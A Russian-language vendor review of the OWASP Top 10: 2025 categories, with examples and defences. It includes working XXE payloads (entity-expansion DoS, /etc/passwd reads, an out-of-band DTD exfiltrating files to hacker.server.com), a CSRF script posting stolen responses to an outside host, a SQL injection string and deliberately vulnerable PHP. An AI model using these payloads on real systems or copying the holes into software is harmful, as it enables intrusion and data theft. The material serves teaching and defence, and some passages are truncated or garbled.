Обзор OWASP Top 10: 2025
Введение
OWASP
- Broken access control (BAC) — нарушение контроля доступа.
- Security misconfiguration — нарушение безопасности конфигураций.
- Software supply chain failures — уязвимости в цепочке поставок.
- Cryptographic failures — криптографические уязвимости.
- Injection — инъекции.
- Insecure design — небезопасное проектирование.
- Authentication failures — сбои аутентификации.
- Software or data integrity failures — сбои в обеспечении целостности ПО и данных.
- Logging and alerting failures — сбои логирования и оповещения.
- Mishandling or exceptional conditions — неправильная обработка исключительных условий.
Опираясь на практический опыт, команда BI.ZONE WAF сравнила списки 2021 и 2025 годов и подготовила подробный разбор самых важных изменений.
1. Вroken access control (BAC) A01:2025
Логическая веб‑уязвимость broken access control (BAC) сохранила лидирующую позицию — в топ‑10 2021 года она также была на первом месте. Сам по себе access control — это применение ограничений к тому, кто или что имеет право выполнять действия или получать доступ к ресурсам веб‑приложения. Этот контроль доступа в первую очередь зависит от аутентификации и управления сессиями.
BAC представляет собой критическую уязвимость в системе безопасности веб‑приложения, позволяющую атакующему получить доступ к тем объектам или гаджетам, к которым он не должен иметь возможности обратиться. Подробнее об этом можно прочитать на сайте PortSwigger.
Разберем пример: разработчик писал код веб‑приложения на языке PHP и создал внутреннюю функцию для выполнения определенной логики задач.
if (isset($_REQUEST['getCurrentFile'])){
$getFileName = $_REQUEST['filepath'];
if (file_exists($getFileName)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filepath='.basename($getFileName));
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($getFileName));
$getOutput = readfile($getFileName);
echo $getOutput;
exit;
}
}Посмотрим на первую строку:
if (isset($_REQUEST['getCurrentFile']))
В этом фрагменте кода нет никакого контроля доступа и проверки сессии, поэтому абсолютно любой пользователь, который отправит HTTP Post‑Request c ключами getCurrentFile=true и filepath=<Произвольный путь к файлу>, сможет реализовать атаку unauthorized local file read. Хотя это все еще не атака RCEwww‑data, и т. д.
BAC делится на подвиды:
- IDOR (insecure direct object reference) — атака на уровне данных. Злоумышленник манипулирует идентификатором объекта (например,
/profile?user_id=1515), чтобы получить чужие данные. Система не проверяет, имеет ли он право на доступ к этому конкретному объекту. - MFLAC (missing function level access control) — атака на уровне функций. Злоумышленник пытается получить доступ к целой функциональности приложения, на которую у него нет прав, например к панели администратора (
/admin), странице настроек сервера или внутреннему API. Система не проверяет, имеет ли он право на выполнение этой функции.
В обновленном топе OWASP SSRF‑уязвимость была объединена с категорией BAC. Это означает, что теперь эксперты по безопасности рассматривают SSRF не просто как ошибку валидации ввода, а как частный случай, когда сервер неправильно управляет доступом к внутренним ресурсам и позволяет атакующему их обойти.
Важно сказать, что в основе появления уязвимостей BAC — человеческий фактор. Разработчику легко забыть прописать проверку в одну из функциональных частей кода, как было указано в примере. Это напрямую зависит от насмотренности и опыта человека. Также эксплуатация подобных сценариев очень сложно выявляется и определяется автоматизированными средствами на этапе аудитов при помощи DAST‑инструментов (Nessus, Nuclei, Acunetix, NetSparker и т. д.). Поэтому в первую очередь необходимо провести ручное тестирование, что можно реализовать, например, на платформах багбаунти. Лучше всего находить такие уязвимости, когда есть прямой доступ к исходному коду, но это не всегда возможно.
В итоге категория BAC занимает первое место, потому что допустить логическую ошибку очень просто. В современном мире есть множество ORM‑библиотек, используемых конструкторов и фреймворков для работы с вводом или выводом данных, поэтому такие уязвимости, как SQL injection, XSS, OS command injection и XXE, постепенно отходят на задний план, несмотря на то что они до сих пор встречаются в большом количестве.
Как защититься от BAC
Для предотвращения уязвимостей BAC следует проводить анализ защищенности веб‑приложения, выстраивать процессы SDL
2. Security misconfiguration A02:2025
Говоря о нарушениях настроек безопасности в веб‑приложениях или серверах, можно привести в пример ошибки при настройке Nginx, Apache2, Tomсat, HAProxy и т. д. Даже допуск следующих строк в php.ini, расширяющий атаку до RFI
allow_url_include = On allow_url_fopen = On
Самый распространенный пример security misconfiguration — XML eXternal Entity (XXE). В предыдущей версии топа эта уязвимость находилась лишь на 5‑м месте. Теперь в построении архитектуры веб‑приложений многое изменилось: в разрезе XML‑сущностей возможно допустить ряд ошибок и привести к эксплуатации XXE, когда веб‑приложение работает с XML‑структурами, рендерингом и генерацией PDF‑отчетов, парсингом документов Microsoft Office, протоколом SOAP (на основе XML). В последнее время наши команды анализа защищенности веб‑приложений часто сталкиваются с такими проблемами.
Как это работает: старые или плохо настроенные XML‑процессоры обрабатывают ссылки на внешние сущности внутри документов. Эти сущности могут использоваться для доступа к внутренним файлам через обработчики URI‑файлов, общие папки, сканирование портов, удаленное выполнения кода и отказ в обслуживании. Поэтому XXE — это уязвимость, которая заключается в том, что парсер XML‑уязвимого приложения раскрывает внешние сущности в XML‑документе, который контролируется атакующим.
В зависимости от того, отображается ли результат обработки внешней сущности атакующему или нет, можно выделить два вида этой атаки:
- Reflected XXE (отражаемые XXE).
- Blind XXE (слепые XXE).
Существует несколько техник эксплуатации уязвимости XXE:
- Direct reflection.
- CDATA reflection.
- Error‑based.
- Out‑of‑band.
Результатом эксплуатации могут быть:
- DoS-атака.
<!DOCTYPE data [ <!ELEMENT data ANY> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data><xxx>&a2;</xxx></data>
- Local file read (он же direct reflection).
<?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY name SYSTEM "file:///etc/passwd" >]> <element><xxx>Pentest, &name;</xxx></element>
- SSRF (server‑side request forgery).
При чтении файлов, содержащих специальные символы XML, могут возникнуть проблемы: файл перестанет быть корректным XML‑документом. Именно поэтому для чтения файлов с символами < и > можно использовать технику CDATA.
Как работает CDATA
Рассмотрим пример реализации атаки local file read при помощи CDATA-техники XXE.
- HTTP request:
<?xml version='1.0'?> <!DOCTYPE element [ <!ENTITY % external_entity SYSTEM "payload.dtd"> %external_entity; %all; <!ENTITY name "bizone" >]> <element><xxx>Pentest, &fileContents;</xxx></element>
- payload.dtd:
<!ENTITY % file SYSTEM "file:///etc/flag.txt"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
Содержимое файла подставляется в одинарные кавычки. Если в файле есть одинарные кавычки, ENTITY развалится и техника не сработает. То есть CDATA позволяет эксфильтровать данные, в которых нет либо двойных, либо одинарных кавычек. Если есть и те и другие, техника не сработает.
CDATA идеально подходит:
- в случае reflected XXE;
- если требуется либо загрузка файла, либо доступ в интернет с конечной атакуемой точки;
- для чтения некоторых файлов с
<и>.
Как работает error‑based XXE
Этот вид атаки актуален, когда XXE не reflected: XML‑документ отправляется на сервер, обрабатывается, но функциональность приложения не предполагает возврата какого‑либо ответа с результатом. В таком случае следует исследовать технику error‑based. Необходимое условие для ее эксплуатации — вывод ошибки. Если при неудачной обработке запроса приложение подробно раскрывает содержимое сообщения об ошибке, можно прочесть часть интересующего файла через определение сущности с именем этого файла.
- HTTP request:
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://bi.zone/payload.dtd"> %ext; ]> <message></message> - payload.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
Как и в CDATA, файл точно так же подставляется в одинарные кавычки. Если в нем содержатся одинарные кавычки, техника не сработает. Можно эксфильтровать данные, в которых нет либо двойных, либо одинарных кавычек.
Если целевой конечный хост не ходит в интернет и нет возможности для загрузки файлов, можно воспользоваться файлами DTD, которые уже есть в системе:
- https://portswigger.net/web-security/xxe
- https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md
- https://angelica.gitbook.io/hacktricks/pentesting-web/xxe-xee-xml-external-entity
Как работает out-of-band
Техника также применяется при наличии blind‑инъекции. Эксплуатируемый сервер инициирует сетевое соединение на сервер атакующего, в котором передает содержимое запрашиваемого файла. Приведем пример.
- HTTP Request:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "payload.dtd"> <data>&send;</data>
- payload.dtd:
<!ENTITY % file SYSTEM "file:///sys/power/image_size"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://hacker.server.com/?%file;'>"> %all;
Данные отправятся на http://hacker.server.com. К сожалению, такой сервер, скорее всего, прочитает только первую строку файла. Ограничения у этой техники такие же, как описано выше.
Как защититься от XXE
Нужно полностью отключить раскрытие внешних сущностей и парсинг файлов DTD, особенно если файл подключается из внешних источников. В случае мисконфигураций на базе веб‑сервера проще использовать статические анализаторы конфигураций или LLM‑модели, которые легко обнаруживают и подсвечивают подобные нюансы, чем анализировать код.
Многие WAF, в том числе BI.ZONE WAF, успешно закрывают такие веб‑атаки при помощи механизма определения внешних XML‑сущностей, а также контроля использования внутренних сущностей. Атакующему крайне сложно обойти этот механизм, потому что для этого ему придется сломать парсер WAF.
В случае мисконфигураций приложений, интерпретаторов и т. д. определить эксплуатацию действительно трудно. Единственным способом является анализ HTTP response и выявления отраженных ошибок/etc/passwd, и тем самым не давать атакующему получить доступ к отображению подобной информации.
3. Software supply chain failures A03:2025
В OWASP Top 10: 2025 в качестве примера атаки с использованием software supply chain failures упоминается кейс SolarWinds. Этот инцидент уже многие разобрали: он встречается в отчетах Mandiant, Microsoft и CISA. Поэтому приведем другой пример.
Представим, что веб‑приложение написано на языке Х и использует различные зависимости, пакеты, фреймворки, которые год за годом обновляются, исправно работают и пользуются хорошей репутацией в сообществе. Затем меняется геополитическая ситуация в мире. Авторы фреймворка занимают позицию одной из сторон конфликта и вносят в код изменения:
Домен при этом будет являться абсолютно легитимным доменом разработчика этого фреймворка. Только вместо легитимного авторитативного DNS‑сервера будет C2 DoH Listener, готовый принимать и отдавать команды от «разработчика фреймворка».
Если ранее это был легитимный и удобный фреймворк, который не вызывал никаких подозрений, то с последнего патча он становится зловредным. Как итог — множество приложений оказываются в зоне риска.
Может быть и хуже: приложение, в составе которого используется этот фреймворк, продается как продукт другим компаниям. Когда такое ПО поставляется заказчикам и через него выполняют атаку, это и есть supply chain attack.
Злоумышленники используют следующие сценарии:
- Выкупают домен, у которого истекает срок действия, а разработчики забыли его продлить.
- С помощью фишинга получают доступ к IT‑инфраструктуре, пайплайну и продакшен‑серверу (часто через Microsoft Teams CI/CD) разработчиков фреймворка.
- Выкупают проект фреймворка у его разработчика.
- «Коммитят» на GitHub «исправления» ошибки от лица доверенного аккаунта и т. д.
Такие случаи были с разными языками: как с Python, так и с Golang, Java, PHP, C++.
Таким образом, уязвимости в цепочке поставок стали одной из главных современных угроз. Если раньше такими рисками пренебрегали, то сейчас их всерьез прорабатывают: разработчики беспокоятся о собственной безопасности и клиентах, поэтому тщательно проверяют, что используют в работе.
Как защититься от software supply chain failures
Не стоит сразу устанавливать обновления: это стало негласным правилом с 2022 года. Лучше сначала проанализировать вышедший патч и прочитать список обновлений. Затем нужно сделать diff патча и сравнить последнюю версию с предыдущей. Это сложно, но зато безопасно.
Также следует контролировать не только конечные устройства, такие как серверы веб‑приложений, но и анализировать сетевой трафик. Это необходимо, чтобы оперативно среагировать на попытку кибератаки, если PHP‑демон начнет выполнять exec до /bin/bash и выстраивать подозрительное соединение, разрешая неизвестный домен, а потом отсылая десятки запросов — например, к переводчику Google (один из видов туннелей).
Для такого контроля существуют решения EDR, AV, NTA и IDPS, а также SWG- и DNS‑фильтры. Так, в 2025 году наше решение BI.ZONE Secure DNS не раз блокировало попытки построить DoH‑туннели к неизвестным хостам и дать разрешения новым доменам или доменам с плохой репутацией. Это не защитит от атаки через использование «заведомо легитимного домена и фреймворка», однако позволит существенно снизить риски. Еще в защите от такой атаки помогают контроль и сравнение обновлений, а также проверка всех вызываемых функций syscall и других обращений на конечных устройствах.
4. Cryptographic failures A04:2025
В случае веб‑приложений в первую очередь возникают проблемы с выбором шифрования соединения. TLS
Разберем, для чего нужен этот список, на примере «рукопожатия» клиента и сервера (например, веб- или электронная почта со STARTTLS).
- Клиент (пользователь) обращается к серверу и предлагает начать защищенное общение.
- Сервер отвечает «Хорошо, я умею общаться на следующих „языках“ шифрования...» и высылает список (cipher suites).
- Клиент выбирает из этого списка самый надежный вариант, который он сам понимает.
- Договорились, перешли на шифрование, общаются.
Теперь у нас есть определенные списки поддержки криптоалгоритмов для разных версий TLS/SSL. Это выглядит примерно так:
% openssl ciphers -s -tls1_2 ECDHE-ECDSA-AES256-GCM-SHA384: ECDHE-RSA-AES256-GCM-SHA384: ECDHE-ECDSA-CHACHA20-POLY1305: ECDHE-RSA-CHACHA20-POLY1305: ECDHE-ECDSA-AES128-GCM-SHA256: ECDHE-RSA-AES128-GCM-SHA256: % openssl ciphers -s -tls1_3 TLS_AES_256_GCM_SHA384: TLS_CHACHA20_POLY1305_SHA256: TLS_AES_128_GCM_SHA256
Мы понимаем, что клиент и сервер «общаются», установив защищенное соединение. Эта функция есть не только в веб‑приложениях, а еще и в электронной почте.
Представим, что вместо безопасных криптоалгоритмов из приведенного выше списка при передаче данных по соединению применяются RSA-PSK-AES128-CBC-SHA256, ECDHE-ECDSA-AES256-SHA или ECDHE-RSA-AES256-SHA, которые используют устаревший и небезопасный хеш SHA1. Кроме того, эти алгоритмы не рекомендуют к использованию в TLS по RFC 8996.
Если используется алгоритм RSA-PSK-AES128-CBC-SHA256, атакующий сможет организовать MitM‑атаку, перехватить и сохранить зашифрованные пакеты, а далее послать модифицированные версии этого трафика на сервер, наблюдая за временем ответа и анализируя задержки. Так постепенно он сможет восстановить оригинальное содержимое зашифрованного сообщения по битам. Это называется атакой по времени.
Если же используются алгоритмы ECDHE-ECDSA-AES256-SHA или ECDHE-RSA-AES256-SHA, то проблема кроется в хеше SHA1, который использовался в старых криптоалгоритмах для создания кода аутентичности сообщения (MAC) и гарантировал, что данные в транзите не были изменены. Однако хеш‑алгоритм подвержен коллизиям, из‑за чего у атакующего есть возможность воспроизвести два разных пакета с одинаковой хеш‑суммой, которая пройдет проверку. Тем самым атакующий организует подделку.
Иными словами, эксплуатируя устаревшие и небезопасные алгоритмы, атакующий может как расшифровывать трафик, так и подделывать сообщения от имени клиента или сервера, внедряясь в их обмен данными.
Несмотря на то что такие случаи эксплуатации известны, атаки на TLS сложны и нетривиальны. К тому же современные браузеры, заметив, что веб‑сервер хочет использовать устаревший и небезопасный криптоалгоритм при передаче данных в соединении, сразу же сообщают об этом пользователю. Certbot на веб‑сервере тоже так сделает при конфигурации TLS/SSL.
Приведем пример использования cryptographic failures в веб‑приложениях. Представим, что есть веб‑приложение с формой аутентификации, написанное на языке PHP. Разработчик использовал в коде следующую конструкцию для чтения и сохранения пароля в базе данных:
$password = md5($_REQUEST["password"]);
Если атакующий получит доступ к базе данных с кредами пользователей этого веб‑приложения через другую веб‑уязвимость, ему не понадобится много времени, чтобы подобрать пароли ко всем учетным данным пользователей при помощи «радужных таблиц» и брутфорса по хешам. Так, пароли из словаря rockyou.txt забрутятся очень быстро:
29dc67fac778d4a66c52b0c914f25c6c - 1q2w3e4razsxdcfv f6fdffe48c908deb0f4c3bd36c032e72 - adminadmin e807f1fcf82d132f9bb018ca6738a19f - 1234567890 5f4dcc3b5aa765d61d8327deb882cf99 - password d8578edf8458ce06fbc5bb76a58c5ca4 - qwerty
Cryptographic failures затрагивает не только атаки на уровне TLS/SSL в рамках веб‑приложений, но и шифрование в целом: вид представления и хранения данных, зашифрованных в базе, шифрования файлов на веб‑сервере, шифрования передаваемых данных и т. д. Все это можно легко интерпретировать как в электронную почту (ESMTP со STARTTLS, s/MIME), так и в различные системы хранения данных.
Как защититься от cryptographic failures
Для безопасного хранения паролей необходимо использовать современные алгоритмы хеширования с регулируемыми параметрами ресурсоемкости. В порядке приоритета следует применять Argon2id со следующей минимальной конфигурацией:
- объем памяти — 19 МиБ,
- количество итераций — 2,
- степень параллелизма — 1.
Если по техническим причинам Argon2id недоступен, можно использовать scrypt с параметрами:
- CPU/memory cost N = 131072 (2^17),
- размер блока r = 8 (1024 байта),
- параллелизация p = 1.
Для legasy‑систем, не поддерживающих современные алгоритмы, разрешается применять bcrypt с фактором стоимости не менее 10. При этом необходимо учитывать ограничение длины пароля в 72 байта. В случаях, когда необходимо соответствие стандарту FIPS‑140, нужно использовать PBKDF2 с HMAC‑SHA‑256 (как внутреннюю хеш‑функцию) и минимальным количеством итераций 600 000.
В качестве дополнительного уровня защиты рекомендуется применять перец (pepper) — глобальный секрет, хранящийся отдельно от базы данных и добавляемый к паролю до хеширования. Важно учитывать, что эта мера работает только в комплексе с основными требованиями и сама по себе не повышает криптостойкость.
Для защиты данных при передаче по сети необходимо использовать исключительно протоколы TLS версии 1.2 или выше. Для HTTPS‑соединений — принудительно включить защиту с использованием механизма HTTP Strict Transport Security (HSTS) там, где это возможно.
Также нужно отключить кеширование для любых HTTP‑ответов, содержащих конфиденциальные данные (включая CDN, веб‑серверы и различные системы прикладного кеширования).
Сегодня различные DAST‑утилиты, анализаторы конфигураций, браузеры и WAF подсвечивают потенциальные риски и проблемы на уровне шифрования. Они не обеспечивают полную защиту, но формат алертинга является необходимой мерой для оперативного принятия решений и оповещения о том, что есть риски потенциальной кибератаки.
5. Injection A05:2025
Ранее категория injection занимала в топе 1‑е место, затем 3‑е, а теперь спустилась на 5‑е. Эти уязвимости возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные атакующего могут заставить интерпретатор выполнить непреднамеренные команды или дать доступ к данным без надлежащей авторизации.
К категории таких уязвимостей относятся:
- Operation system (OS) command injection. Веб‑приложение небезопасно подставляет полученные от пользователя данные в текст команды ОС, которая передается в командную оболочку ОС.
- SQL/NoSQL injection. Контролируемые атакующим данные внедряются в формируемый SQL‑запрос. В результате атакующий может нарушить логику работы запроса, а также заставить базу данных выполнить полезные для атакующего действия. Важно отметить, что ORM(HQL)‑injection также могут относиться к этому виду уязвимости.
- Server/client side template injection (SSTI/CSTI). Данные атакующего внедряются в шаблон перед его рендером, что дает возможность использовать любые функции шаблонизатора.
- AST (abstract syntax tree) injection. Атакующий манипулирует абстрактным синтаксическим деревом (AST) программы для выполнения вредоносного кода, то есть атакуется именно структура кода, представленная в виде AST, а не только исполняемый код или данные. Это редкая инъекция, которая может комбинироваться с уязвимостью prototype pollution.
- Object injection (часто называют insecure deserialization). Данные, полученные от атакующего, проходят процедуру десериализации, что приводит к созданию в уязвимом веб‑приложении объектов, контролируемых атакующим.
- CRLF injection. Атакующий вставляет символы возврата каретки (%0D%0A) в пользовательский ввод, чтобы обмануть сервер веб‑приложения, заставив его думать, что один объект завершился, а другой — начался. Таким образом, CRLF‑последовательности не являются вредоносными символами сами по себе, но могут использоваться атакующим — например, для разделения HTTP response.
- HTML injection. Злоумышленник внедряет произвольные HTML‑теги в веб‑страницу. Она возникает, когда приложение принимает данные от пользователя и отображает их на странице без надлежащей фильтрации или экранирования.
- EL (expression language) injection. Злоумышленник может внедрять и исполнять произвольный код через язык выражений (EL).
- LDAP (lightweight directory access protocol) injection. Атакующий использует данные пользователя для формирования запросов к службе каталогов по протоколу LDAP (Microsoft Active Directory, OpenLDAP, FreeIPA и т. д.).
- OGNL (object‑graph navigation language) injection. Возникает в Java‑приложениях, когда ввод пользователя некорректно обрабатывается библиотекой OGNL, что зачастую приводит к RCE.
Есть и другие инъекции. О каждой из них много известно, в том числе как именно их эксплуатируют.
Этот вектор атак потерял верхнюю позицию в топе из‑за фреймворков. В современных веб‑приложениях используются различные фреймворки и дополнения. Даже IDE подсвечивают базовые уязвимости в коде. Поэтому, например, на попытку реализовать SQL injection в PHP на фреймворке Laravel IDE начнут бить тревогу.
Это не мешает допускать инъекции в веб‑приложениях: достаточно посмотреть, сколько SQL injection появляется на плагины WordPress в зарегистрированных новых CVE. Однако по сравнению с предыдущими годами количество уязвимых приложений заметно снизилось.
Как защититься от injection
Общая рекомендация по защите от инъекций любого типа — валидация пользовательского ввода. Это делается через внедрение проверки входных данных на соответствие типу данных, регулярным выражениям, разрешенному набору символов и т. д. Но одной лишь валидации недостаточно: для каждого типа инъекции необходимо применять отдельные защитные меры.
Так, методы защиты от SQL injection включают в себя санитизацию (замена опасных символов на безопасные, экранирование), использование ORM и prepared statements. ORM позволяет работать с информацией в базе данных как с объектами, без использования SQL‑выражений (запрос вида SELECT * FROM users WHERE id = 1 заменяется конструкцией User.find(1)). А функциональность prepared statements предполагает использование шаблонов для SQL‑запросов с плейсхолдерами для данных, что устраняет возможность модификации SQL‑запроса.
Для защиты от OS command injection желательно писать код без вызова команд ОС. В большинстве языков программирования для определенных операций есть решения в формате функций (mkdir() в PHP как альтернатива вызову команды ОС mkdir). Если взаимодействие с шеллом необходимо, стоит снова использовать встроенные функции языка. В PHP метод proc_open с переданным в него массивом proc_open(["mkdir«, $_GET[’dir_name’]]) распарсит первый элемент как команду, а второй — как передаваемый в эту команду аргумент. Тогда содержимое пользовательского ввода будет передано в бинарный файл mkdir при его запуске, а не во ввод командной оболочки. В ситуации, когда вызов шелла необходим «в чистом виде», стоит писать код так, чтобы пользовательский ввод не передавался напрямую в командную оболочку. Например, при сохранении в приложении файла, созданного пользователем, разработчик для упрощения может передавать имя пользователя в имя сохраняемого файла. В такой ситуации лучше генерировать случайное имя файла и затем связывать его с сессией пользователя. В крайнем случае для защиты рекомендуется использовать экранирующие функции. В PHP это escapeshellarg(), {}escapeshellcmd().
Основным методом защиты от object Injection на уровне кода является указание классов, которые разрешены к созданию объектов при десериализации. В PHP версии 7+ это нативно реализовано в функции inserialize, а в Java можно использовать целевые библиотеки.
С защитой от различных видов инъекций отлично справляется WAF. Поскольку WAF работает не только с анализом запросов, но и с анализом ответов, эксплуатация таких уязвимостей, как union‑based SQL injection, error‑based SQL injection и stacked queries SQL injection, будет весьма проблематичной: проверяется как payload в ключах/структуре HTTP request, так и HTTP response на предмет эксплуатации SQL injection в различных видах баз данных. Для ломки парсера SQL‑запроса атакующему нужно не просто использовать конструкции вида ’ OR ST_GeomFromText(’POINT(1 1)’) IS NULL UNION SELECT NULL, NULL, @@version, NULL, NULL, NULL, NULL , но еще и подумать над выводом. С десериализацией все еще труднее: WAF проверяет сериализованные данные целиком, например регулярным выражением для PHP: [OC]:[0‑9]+:\«\w+\. При виде сериализованного объекта прилетает блокировка.
6. Insecure design A06:2025
Отличие insecure design от BAC проще всего объяснить так: в первом случае мы забыли спроектировать замок на двери (архитектурная ошибка), а во втором замок есть, но он плохо работает либо ключ от него лежит прямо под ковриком (ошибка реализации).
Например, специалисты спроектировали систему таким образом, что она доверяет пользователю без потенциальной проверки прав доступа, то есть у нее нет ролевой модели. Чтобы это исправить, нужно не просто быстро выпустить обновление, а переписать логику работы всего приложения на уровне скелета.
Бывает и наоборот: сделали настолько безопасную архитектуру, что веб‑приложение банит пользователя по любому поводу, будь то загрузка легитимного файла с расширением .ico, установка пароля короче 64 символов или отправка 5 запросов в секунду. Приложение становится абсолютно невозможно использовать, и приходится переделывать всю архитектуру.
Когда разработчики не закладывают нужные функции на этапе проектирования, а добавляют в код костыли уже после выпуска продукта, веб‑приложение превращается в «монстра Франкенштейна». Уязвимость набирает обороты — например, из‑за вайб‑кодинга, когда используют LLM, чтобы написать код. Потом такое веб‑приложение сталкивается со множеством проблем, особенно когда выходят CVE на используемые компоненты или плагины, и вайб‑кодерам приходится доделывать своего «монстра Франкенштейна», увеличивать время ожидания обработки запросов и ответов, все сильнее усложняя архитектуру проекта. Как итог — хаос в рамках процесса разработки и тестирования.
Как защититься от insecure design
Уязвимости insecure design невозможно исправить патчем или обновлением фреймворка, а также от них нельзя защититься при помощи какого‑либо WAF или RASP. Проблема в том, что с точки зрения безопасности архитектура и бизнес‑логика веб‑приложения изначально спроектированы неправильно, из чего следует, что необходимо привлекать специалистов по кибербезопасности как на этапе проектирования архитектуры, так и на этапе ревью кода приложения.
7. Authentication failures A07:2025
Чтобы разобраться в этом пункте топа, необходимо понять следующее:
- Идентификация — процесс определения, что за пользователь перед нами.
- Аутентификация — процесс подтверждения, что этот человек именно тот, за кого себя выдает.
- Авторизация — процесс принятия решения о том, что именно этой аутентифицированной персоне разрешается делать.
Таким образом, модули программных средств, связанные с аутентификацией и управлением сессиями, часто реализуются неправильно, что позволяет атакующему взломать пароли, ключи или токены сессий либо использовать прочие недостатки реализации, чтобы получить идентификационные данные других пользователей. Это и есть authentication failures — ошибки аутентификации.
Существуют следующие факторы аутентификации:
- знание (пароль),
- обладание (smart‑карты, криптографические токены, телефон (сим‑карта) и т. д.),
- биометрия.
В результате успешной аутентификации веб‑приложение может выдавать пользователю:
- случайные сессионные идентификаторы,
- подписанные сессионные данные (например, JWT).
С этой информацией и работает атакующий. Вот примеры атак на процесс аутентификации:
- User enumeration (брутфорс). Проблема возникает, когда приложение по‑разному отвечает в случае ввода некорректного и корректного логина. Как правило, встречается на страницах регистрации, входа и восстановления пароля. Это позволяет атакующему проверить наличие учетной записи в системе.
- Password enumeration и OTP enumeration (брутфорс). Следует из предыдущего пункта. Дает возможность атакующему подобрать пароль к учетной записи или же код 2FA.
- Отсутствие проверки на OAuth и OpenID. Серверы OAuth и OpenID должны проверять, что переданный
redirect_uriсоответствуетredirect_uri, использованному при регистрации клиента. Если такой проверки нет, злоумышленник может перехватить аутентификационные коды и получить доступ к аккаунтам пользователя, то есть провести account takeover. - Session hijacking, session fixation или session prediction. Позволяют атакующему украсть сессию (например, с помощью cross‑site scripting, XSS), установить сгенерированную сессию или же подобрать ее.
- Атаки на JWT. Частые сценарии, когда атакующий выставляет
"alg":"none"или вовсе меняет на смежный тип алгоритма (RS256 -> HS256). Злоумышленник также может подобрать пароль контрольной подписи HS256 или украсть токен, если у того большой срок действия. - Атаки на пароли, хранящиеся в базе данных в открытом виде. Очевидно: пароли хранить в открытом виде нельзя, потому что атакующий может получить доступ к базе данных с паролями — например, через SQL‑инъекцию.
- CSRF (cross‑site request forgery) — тип веб‑атаки, при котором злоумышленник перенаправляет пользователя на уязвимую страницу или заставляет его браузер выполнить AJAX‑запрос к уязвимой странице. Эта страница выполняет действия в веб‑приложении от имени текущей пользовательской сессии, если пользователь уже авторизован.
CSRF — это не совсем атака на сессию. Скорее, это атака на пользователя, при которой злоумышленник использует его активную сессию, чтобы выполнить определенные действия, например перевести деньги на нужный счет. Если параметры (поля формы) известны, злоумышленник может подставить их в запросdocument.querySelector('select[name="balance"]');.
Пример атаки CSRF: жертве отправляют ссылку <script src="https://bi.zone/csrf.js" defer></script>.
Содержание файла csrf.js:
function retrieveKeys() {
var data = btoa(unescape(encodeURIComponent(this.responseText)));
fetch('https://bi.zone/', {
method: 'POST',
mode: 'no-cors',
body: data
});Вот как в веб-приложении на языке PHP был реализован в коде один из механизмов работы с выставлением сессий:
if (isset($_SESSION['emailhashing']) && $_SESSION['emailhashing'] === $_COOKIE['email']) {
$hash = $_COOKIE['email'];
$email = $_SESSION['email'];
}Такая реализация создает риск атаки по сценарию session fixation: позволяет выставить для пользователя нужное злоумышленнику значение сессии и затем провести полноценный account takeover.
Как защититься от authentication failures
Среди основных методов защиты от CSRF можно выделить следующие:
-
Использование CSRF‑токенов.
Это строка из случайных символов, которая связывается с сессией пользователя и ставится как скрытый параметр в форму. Браузер пользователя отправляет этот токен вместе с запросом, и веб‑приложение проверяет его соответствие токену, установленному в сессии. Это работает, потому что атакующий не может считать информацию из скрытого поля, а значит, не может получить CSRF‑токен.
-
Атрибут SameSite для cookie‑файлов.
Параметр может принимать два значения: strict (браузер не передает cookie‑файлы при cross‑origin-запросах) и lax (браузер передает cookie‑файлы при запросах с методами вроде PUT, HEAD и OPTIONS; при методах POST и PUT cookie‑файлы не передается).
В некоторых браузерах по умолчанию предустановлено значение SameSite для случаев, когда этот параметр не установлен приложением. Так, в Chrome атрибут принимает значение lax. Стоит также отметить, что политика SameSite Cookie разрешает отправку cookie‑файлов с одного сайта на другой, если у них совпадает effective Top Level Domain (eTLD)+1.
-
Проверка заголовка referer.
Сервер может сравнивать домен, с которого пришел запрос, со своим собственным. Однако настройка Referrer‑Policy: no‑referrer позволяет атакующему создать сайт таким образом, что браузер не будет проставлять referrer при отправке запросов с этого сайта. Тогда целевой сервер не сможет определить, откуда пришел запрос. Защита таким способом считается неполноценной.
-
Правильная конфигурация CORS.
Это позволяет настроить другим приложениям чтение ответов с определенного origin. Это делается с помощью HTTP‑заголовков, основной из них — Access‑Control‑Allow‑Origin. Если настроить CORS корректно, сторонние сайты не смогут использовать браузер пользователя для выполнения произвольных запросов.
Создавая веб‑приложение, важно правильно выставлять сессии и работать с ними. Нужно разработать процессы идентификации, аутентификации и авторизации, корректно использовать и конфигурировать безопасные и популярные фреймворки, использовать 2FA. В таблице ниже показаны преимущества и недостатки использования сессионных идентификаторов (например, PHPSESSID) и подписанных сессионных данных (например, JWT).
Сравнение использования сессионных идентификаторов и подписанных сессионных данных
| Тип | Преимущества | Недостатки |
|---|---|---|
| Сессионные идентификаторы |
Можно отзывать |
Сессионную информацию нужно где‑то хранить |
| Подписанные сессионные данные |
|
|
Современные WAF тоже умеют работать с выявлением атак на процесс аутентификации с помощью контроля сессии (PHPSESSID, JWT и т. д.), выставляя ограничение числа запросов на различные URI и дополняя CSRF‑токены. Так атакующему намного сложнее выполнить атаку на веб‑приложение и пользователя.
8. Software or data integrity failures A08:2025
В 8-м пункте OWASP Top 10: 2025 указано:
В главе о software supply chain failures мы рассказали об атаках на уязвимые библиотеки, фреймворки и CI/CD‑процессы компании, поставляющей ПО. В атаках на цепочку поставок задача злоумышленника — проникнуть в другие организации через поставщика и распространить вредоносный код. То есть распространителем вредоносного ПО становится «доверенное лицо».
